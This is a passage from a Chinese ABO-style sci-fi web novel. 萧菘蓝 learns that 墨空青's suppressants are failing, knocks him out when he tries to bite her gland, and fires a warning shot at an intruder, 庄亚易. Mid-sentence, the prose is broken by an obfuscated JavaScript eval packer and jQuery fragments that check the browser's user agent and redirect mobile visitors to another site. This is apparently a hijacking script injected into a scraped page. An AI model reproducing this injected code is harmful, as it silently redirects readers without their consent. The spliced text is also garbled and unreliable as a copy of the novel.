苏明朝追问:“有出现像上次那样的情况吗?” 萧菘蓝:“没有,目前只是生理性不适加剧。” 对面明显松了口气:“那就别再打了。任何抑制剂长期使用都会产生抗体,尤其是为他特制的高浓度配方,身体适应性更强。再打,下次可能真的一点用都没有了。” 萧菘蓝:“就没有别的办法了吗,他看起来很难受。” 苏明朝顿了顿,语气沉重,“菘蓝,再特殊的药物也只能控制和延缓,尤其是墨空青这种级别的Alpha,除非你们能找到一个匹配度高的Omega。” 萧菘蓝一怔。 高匹配度的Omega...... Alpha的易感期通常半年一次,每次持续七到十五天不等,等级越高,反应越强烈。对墨空青而言,每一次分化后的易感期,都无异于一场酷刑。 距离墨空青上一次易感期已经过去快要半年了,不知道是不是经历过海冥星一战的高强度消耗,身体承受的负担远超以往。 从回帝都后,再到海冥星,这期间墨空青的不适感提前了许久,甚至更焦躁、黏人,很难想象等接下来真正易感期来临时会有多难熬。 墨空青感觉到萧菘蓝的靠近,身体不自觉地朝她的方向倾斜。萧菘蓝也没有动,任由他靠过来将额头抵在她腰侧。 墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181554|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空青的手臂环住了萧菘蓝的腰,滚烫的呼吸灼烧着她腰腹的皮肤。 “萧萧......”墨空青抬起头,那双平日里勾魂摄魄的眼睛此刻却蒙着水汽,眼神涣散,只凭着本能追寻她的气息。 萧菘蓝叹了口气,抬手轻轻覆盖住了那双眼睛。 “别动。”她的声音很轻,掌心感受着他眼睫细微的颤动。 视野被剥夺,墨空青环在她腰间的手臂收得更紧。过了一会儿,他似乎觉得不够,又站起身贴着她颈窝处蹭着。 墨空青像在沙漠中濒死的旅人终于寻到了绿洲,贪婪地汲取着对方身上那能让自己稍微缓解痛苦的气息。 萧菘蓝维持着这个姿势,能清晰地感觉到他越来越不安。他的鼻尖在她颈动脉处流连,滚烫的呼吸带来一阵阵麻痒。 紧接着她感觉到墨空青温热的唇贴上了她颈后的腺体位置。 不是亲吻,而是试探性的触碰,牙齿甚至开始轻轻刮蹭着那里的皮肤。一种被标记、被占有的原始威胁感瞬间窜遍萧菘蓝的全身。 萧菘蓝的一只手抵住他的肩膀,毫不迟疑地用力一推。 “墨空青!”她的声音冷了下来。 墨空青猝不及防被推开,身体晃了一下。他茫然地抬起头,那双蒙着水汽的眼睛里充满了被打断的委屈和不解,像被主人突然推开的大型犬,喉咙里甚至发出了一声不满的呜咽。 他本能地又想靠过来。 萧菘蓝眼神一凛,一记手刀劈在墨空青的后颈。 海冥星的夜晚只有浓稠的墨蓝色,瞭望塔上吹过的风是干燥闷热的,混着尘沙泥土。 萧菘蓝迫使自己冷静下来,试图去分析目前已有的关于海冥星的信息,可是苏明朝的声音总是不断在耳边响起。 她又开始烦躁地拆卸拼装自己的枪。 就在这时,招待所的外围有一个人影快速走过。 那人的动作谨慎,沿着建筑投下的暗影移动,步伐很快,却不像是基地巡逻人员固有的路线和节奏。他在行进中忽然停了一下,又迅速地回头望了一眼。 萧菘蓝眯了下眼,手里的枪已经拼好。 没有警告,没有喊话。 “砰!” 一声清脆又沉闷的枪响撕裂了夜晚的宁静。 那人的脚步一顿,警惕地抬起了头。距离并不远,瞭望塔上还点着一盏灯,他能清楚地看见塔上那个持枪的身影。 萧菘蓝没有收回枪,维持着瞄准的姿势。 听不清她说话的声音,但庄亚易读懂了—— 第三次警告。 萧菘蓝居高临下地看着他,眼神淡漠,再次启唇:“庄亚易。” 被点破身份的男人没有惊慌失措,也没有试图逃跑。他站在原地,仰着头,与塔上的萧菘蓝隔空对视。 夜风卷起尘土,在他脚边打着旋儿。瞭望塔上,萧菘蓝的枪口依旧稳稳地指着他所在的方向,纹丝不动。 枪声的余韵还在空气中震颤,警铃声便已经响起。